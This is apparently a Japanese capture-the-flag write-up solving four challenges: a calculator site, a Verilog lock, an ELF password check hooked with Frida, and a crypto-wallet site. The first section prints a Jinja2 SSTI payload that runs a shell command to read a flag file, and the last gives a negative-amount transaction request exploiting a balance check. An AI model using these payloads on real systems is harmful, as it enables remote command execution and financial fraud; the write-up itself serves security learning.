0nePaddingで参加してきました。
問題文
四則演算ができるサイトです。
Calculate
押下時に発生するリクエストにはnum1
,num2
,operator
のパラメータが存在しましたが、特に脆弱性は発見できませんでした。
問題文に戻り、Don't forget to check out my other projects!
という指示からhere
のリンクを辿りますがNot Found ページのようでした。
ただし、レスポンスコードが200
になっているのが気になります。
Discordを確認したところ意図した挙動とのことだったのでこのページを探索します。
Not Foundページをよく見るとパスが出力されていることがわかります。
このパスに適当なPolyglotを挿入するとエラーを発生させることができました。
<s>000'")}{{}}--//
Polyglotを分解して挿入していったところ{{
が原因だということがわかったのでSSTI経由のOSコマンド実行でフラグを取得します。
{{''.__class__.__mro__[1].__subclasses__()[351]('cat /flag.txt',shell=True,stdout=-1).communicate()[0].strip()}}
問題文
top.v
ファイルが与えられます。
module top(
input [63:0] key,
output lock
);
reg [63:0] tmp1, tmp2, tmp3, tmp4;
// Stage 1
always @(*) begin
tmp1 = key & 64'hF0F0F0F0F0F0F0F0;
end
// Stage 2
always @(*) begin
tmp2 = tmp1 <<< 5;
end
// Stage 3
always @(*) begin
tmp3 = tmp2 ^ "HACKERS!";
end
// Stage 4
always @(*) begin
tmp4 = tmp3 - 12345678;
end
// I have the feeling "lock" should be 1'b1
assign lock = tmp4 == 64'h5443474D489DFDD3;
endmodule
よく知りませんが、Verilogだそうです。
入力を色々加工した結果が0x5443474D489DFDD3
になれば良さそうなのでリバースします。
from Crypto.Util.number import bytes_to_long
key = (((0x5443474D489DFDD3 + 12345678) ^ bytes_to_long(b"HACKERS!")) >> 5) & 0xF0F0F0F0F0F0F0F0
print(hex(key))
実行すると、下記のHexが得られます。
あとは上記の結果をncの接続先に入力すればフラグが表示されます。
問題文
ELFバイナリが与えられます。
実行するとユーザー名、パスワードの入力を求められます。
Ghidraで解析すると、入力したユーザー名を加工した結果と入力したパスワードの一致をstrcmp
で確認しているようです。
undefined8 main(void)
{
byte bVar1;
int iVar2;
ulong uVar3;
size_t Username_Length;
long in_FS_OFFSET;
ulong Counter1;
ulong Counter2;
byte Username [64];
char Password [56];
long local_20;
local_20 = *(long *)(in_FS_OFFSET + 0x28);
printf("Enter your name: ");
__isoc99_scanf(&DAT_00102016,Username);
printf("Enter your password: ");
__isoc99_scanf(&DAT_00102016,Password);
Counter1 = 0;
while( true ) {
Username_Length = strlen((char *)Username);
if (Username_Length <= Counter1) break;
uVar3 = next_rand_value();
Username_Length = strlen((char *)Username);
bVar1 = Username[Counter1];
Username[Counter1] = Username[uVar3 % Username_Length];
Username[uVar3 % Username_Length] = bVar1;
Counter1 = Counter1 + 1;
}
Counter2 = 0;
while( true ) {
Username_Length = strlen((char *)Username);
if (Username_Length <= Counter2) break;
Username[Counter2] = Username[Counter2] ^ *(byte *)((long)&key + (ulong)((uint)Counter2 & 7));
Username[Counter2] = (char)Username[Counter2] % '\x1a';
Username[Counter2] = Username[Counter2] + 0x61;
Counter2 = Counter2 + 1;
}
iVar2 = strcmp((char *)Username,Password);
if (iVar2 == 0) {
puts("Valid!");
}
else {
puts("Invalid!");
}
if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {
/* WARNING: Subroutine does not return */
__stack_chk_fail();
}
return 0;
}
問題文でユーザー名はLosCapitan
を与えられているので、このユーザー名を入力した際のstrcmp
をfridaでフックすればパスワードが取得できます。
]^WR\\lcTI
あとはgctf{}
でパスワードを囲めばフラグになります。
gctf{]^WR\\lcTI}
問題文
仮想通貨を取り扱うサイトのようです。
以下、画面から確認できる機能です。
Join GlacierClub
現状は利用できません。もっとお金を払えば入れるようです。
Convert
通貨を交換する機能です。
交換が成功するとBalanceに反映されます。
続いてソースコードです。
フラグはGlacierClubに入ると取得できるようです。
@app.route("/api/wallet/join_glacier_club", methods=["POST"])
def join_glacier_club():
wallet = get_wallet_from_session()
clubToken = False
inClub = wallet.inGlacierClub()
if inClub:
f = open("/flag.txt")
clubToken = f.read()
f.close()
return {
"inClub": inClub,
"clubToken": clubToken
}
入会処理で、wallet.InClacierClub
がTrueであれば入会できるようなので当該処理部分を確認します。
当該処理はWallet
クラスで実装されています。
cashoutが1000000000
以上かつその他の通貨が0.0
であればGlacierClubに入会できそうです。
class Wallet():
def __init__(self) -> None:
self.balances = {
"cashout": 1000,
"glaciercoin": 0,
"ascoin": 0,
"doge": 0,
"gamestock": 0,
"ycmi": 0,
"smtl": 0
}
self.lock = threading.Lock();
def getBalances(self):
return self.balances
def transaction(self, source, dest, amount):
if source in self.balances and dest in self.balances:
with self.lock:
if self.balances[source] >= amount:
self.balances[source] -= amount
self.balances[dest] += amount
return 1
return 0
def inGlacierClub(self):
with self.lock:
for balance_name in self.balances:
if balance_name == "cashout":
if self.balances[balance_name] < 1000000000:
return False
else:
if self.balances[balance_name] != 0.0:
return False
return True
通貨金額が条件になっているので通貨を交換するtransaction
をあたってみます。
排他制御がされているためレースコンディションは無理そうですが、amount
がマイナス値を受け入れています。
def transaction(self, source, dest, amount):
if source in self.balances and dest in self.balances:
with self.lock:
if self.balances[source] >= amount:
self.balances[source] -= amount
self.balances[dest] += amount
return 1
return 0
このため、以下のような通貨交換リクエストを送信すると、
{
"sourceCoin": "cashout",
"targetCoin": "ascoin",
"balance": -1000000000000000000000000000
}
特定の通貨を自由に増やすことができます。
[
{
"name": "cashout",
"value": 1E+27
},
{
"name": "glaciercoin",
"value": 0
},
{
"name": "ascoin",
"value": -1E+27
},
{
"name": "doge",
"value": 0
},
{
"name": "gamestock",
"value": 0
},
{
"name": "ycmi",
"value": 0
},
{
"name": "smtl",
"value": 0
}
]
また、大きい金額をリクエストすると、金額がInfinity
となることを確認しました。
wallet.transaction
が呼び出される際の金額にあたる引数がfloatにキャストされているため、float型の最大値を超えた場合にInfinity
となるようです。
@app.route('/api/wallet/transaction', methods=['POST'])
def transaction():
payload = request.json
status = 0
if "sourceCoin" in payload and "targetCoin" in payload and "balance" in payload:
wallet = get_wallet_from_session()
status = wallet.transaction(payload["sourceCoin"], payload["targetCoin"], float(payload["balance"]))
return jsonify({
"result": status
})
これらの脆弱性を利用して以下の手順でGlacierClubへの入会条件が満たせそうです。
cashout
をInfinity
となる手前の金額まで増やす(処理系が異なる場合もありますが、Floatの最大値は以下で確認できます)
2. 1で利用した通貨とは別の通貨でcashout
をInfinity
にする
cashout
からマイナス通貨を補填し0にするこの状態でJoin GlacierClub
をリクエストを送信すればフラグが取得できます。